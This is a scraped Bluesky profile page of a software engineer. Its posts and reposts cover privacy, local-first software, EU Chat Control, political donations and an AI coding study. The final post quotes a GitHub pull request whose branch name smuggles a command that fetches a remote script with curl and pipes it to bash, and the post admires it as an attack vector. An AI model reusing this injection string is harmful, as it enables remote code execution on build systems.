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Tobias Maier

@tobiasmaier.dev.bsky.social

Software Engineer Interested in: web development, privacy preserving technologies, local first software, decentralized systems.

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10m documentary film on the local-first software movement!

www.youtube.com/watch?v=10d8...

30.01.2026 13:27 โ€” ๐Ÿ‘ 97    ๐Ÿ” 30    ๐Ÿ’ฌ 3    ๐Ÿ“Œ 2

We noticed a rising interest regarding the use of AI in browsers. To be clear about our position on this: Zen currently is disabling all AI features included in Firefox and will continue to do so.

16.12.2025 20:24 โ€” ๐Ÿ‘ 795    ๐Ÿ” 242    ๐Ÿ’ฌ 26    ๐Ÿ“Œ 48
Map of countries in the EU that are opposing, proposed and in favor of Chat Control.

Map of countries in the EU that are opposing, proposed and in favor of Chat Control.

Huge Victory: #ChatControl no longer forces us to break #encryption. ๐ŸŽ‰ย 

๐ŸšจBut: It now wants #AgeVerification.

The Trilogue starts today ๐Ÿ—“๏ธย 

You've helped us stop #backdoors: tuta.com/blog/chat-co...

Now, help us stop #AgeVerification! ๐Ÿ‘‡๏ธย 

fightchatcontrol.eu#contact-tool

#Fight4Privacy

09.12.2025 09:15 โ€” ๐Ÿ‘ 140    ๐Ÿ” 125    ๐Ÿ’ฌ 4    ๐Ÿ“Œ 4

Very interesting read. Thanks for writing this up!

29.11.2025 23:03 โ€” ๐Ÿ‘ 3    ๐Ÿ” 1    ๐Ÿ’ฌ 0    ๐Ÿ“Œ 1
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Ghost 6.0 is here โ€” meet our biggest upgrade yet

๐Ÿซถ Reach millions of users across the social web
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๐Ÿ“ˆ $100M earned for indie publishers

ghost.org/6/

04.08.2025 14:28 โ€” ๐Ÿ‘ 153    ๐Ÿ” 56    ๐Ÿ’ฌ 8    ๐Ÿ“Œ 21
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Spotify Is Forcing Users to Undergo Face Scanning to Access Explicit Content Submit to biometric face scanning or risk your account being deleted, Spotify says, following the enactment of the UK's Online Safety Act.

getting my phrenology checked by my laptop camera before I can listen to WAP, a future I always wanted www.404media.co/spotify-uk-a...

30.07.2025 15:10 โ€” ๐Ÿ‘ 846    ๐Ÿ” 235    ๐Ÿ’ฌ 1    ๐Ÿ“Œ 78
When the cryptocurrency entrepreneur Eric Schiermeyer heard that President Trump was holding small group dinners with major donors, he saw opportunity.
Mr. Schiermeyer reached out to a lobbyist with connections in Mr. Trumpโ€™s orbit, who arranged for him to attend a dinner with the president at his private Mar-a-Lago club on March 1 in exchange for donations to a pro-Trump PAC called MAGA Inc. totaling $1 million.
The personal and corporate donations were among dozens of seven- and eight-figure contributions to MAGA Inc. from crypto and other interests revealed in a campaign finance filing on Thursday night that hinted at the access Mr. Trump accords those willing to pay.
At the dinner, Mr. Schiermeyer, who had never given a federal political donation before, presented an idea for a cryptocurrency called โ€œU.S.A. Tokenโ€ that would be distributed to every citizen, according to interviews and a flier he distributed to attendees that sets out details of the proposal. He hoped it could be su

When the cryptocurrency entrepreneur Eric Schiermeyer heard that President Trump was holding small group dinners with major donors, he saw opportunity. Mr. Schiermeyer reached out to a lobbyist with connections in Mr. Trumpโ€™s orbit, who arranged for him to attend a dinner with the president at his private Mar-a-Lago club on March 1 in exchange for donations to a pro-Trump PAC called MAGA Inc. totaling $1 million. The personal and corporate donations were among dozens of seven- and eight-figure contributions to MAGA Inc. from crypto and other interests revealed in a campaign finance filing on Thursday night that hinted at the access Mr. Trump accords those willing to pay. At the dinner, Mr. Schiermeyer, who had never given a federal political donation before, presented an idea for a cryptocurrency called โ€œU.S.A. Tokenโ€ that would be distributed to every citizen, according to interviews and a flier he distributed to attendees that sets out details of the proposal. He hoped it could be su

Cryptocurrency interests, which have benefited from the Trump administrationโ€™s dismantling of a yearslong government crackdown and from the Trump familyโ€™s financial interest in the industry, appear to have been the most generous industry, accounting for nearly $45 million in donations to MAGA Inc.An affiliate of the exchange Crypto.com gave $10 million, while the crypto services company Blockchain.com donated $5 million. The venture capitalists Marc Andreessen and Ben Horowitz, who are heavily invested in crypto, gave $3 million each. Ondo Finance, which has a partnership with the Trump familyโ€™s crypto company, donated $2.1 million to MAGA Inc., on top of $1 million to Mr. Trumpโ€™s inauguration.

Cryptocurrency interests, which have benefited from the Trump administrationโ€™s dismantling of a yearslong government crackdown and from the Trump familyโ€™s financial interest in the industry, appear to have been the most generous industry, accounting for nearly $45 million in donations to MAGA Inc.An affiliate of the exchange Crypto.com gave $10 million, while the crypto services company Blockchain.com donated $5 million. The venture capitalists Marc Andreessen and Ben Horowitz, who are heavily invested in crypto, gave $3 million each. Ondo Finance, which has a partnership with the Trump familyโ€™s crypto company, donated $2.1 million to MAGA Inc., on top of $1 million to Mr. Trumpโ€™s inauguration.

The scale of Trump's pay-for-access scheme outlined by the @nytimes.com is mindblowing. Crypto contributions resulting in business deals with the Trump family crypto businesses, oil companies buying influence and later reaping benefits from friendly policies, and a $1 million pardon.

03.08.2025 14:09 โ€” ๐Ÿ‘ 2571    ๐Ÿ” 977    ๐Ÿ’ฌ 49    ๐Ÿ“Œ 80
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We ran a randomized controlled trial to see how much AI coding tools speed up experienced open-source developers.

The results surprised us: Developers thought they were 20% faster with AI tools, but they were actually 19% slower when they had access to AI than when they didn't.

10.07.2025 19:46 โ€” ๐Ÿ‘ 6903    ๐Ÿ” 3020    ๐Ÿ’ฌ 106    ๐Ÿ“Œ 626
A scene from the TV show "Friends" where Joey is repeating things that Phoebe says. Phoebe breaks down a complex password into three chunks, with Joey repeating them correctly. FInally, Phoebe says the whole password in one, and Joey responds "password123".

A scene from the TV show "Friends" where Joey is repeating things that Phoebe says. Phoebe breaks down a complex password into three chunks, with Joey repeating them correctly. FInally, Phoebe says the whole password in one, and Joey responds "password123".

Sometimes it is hard to break people out of bad password habits (thankfully, Proton Pass makes it super easy).

23.05.2025 08:44 โ€” ๐Ÿ‘ 139    ๐Ÿ” 9    ๐Ÿ’ฌ 5    ๐Ÿ“Œ 1
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openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

absolutely incredible attack vector

06.12.2024 03:27 โ€” ๐Ÿ‘ 950    ๐Ÿ” 258    ๐Ÿ’ฌ 17    ๐Ÿ“Œ 53

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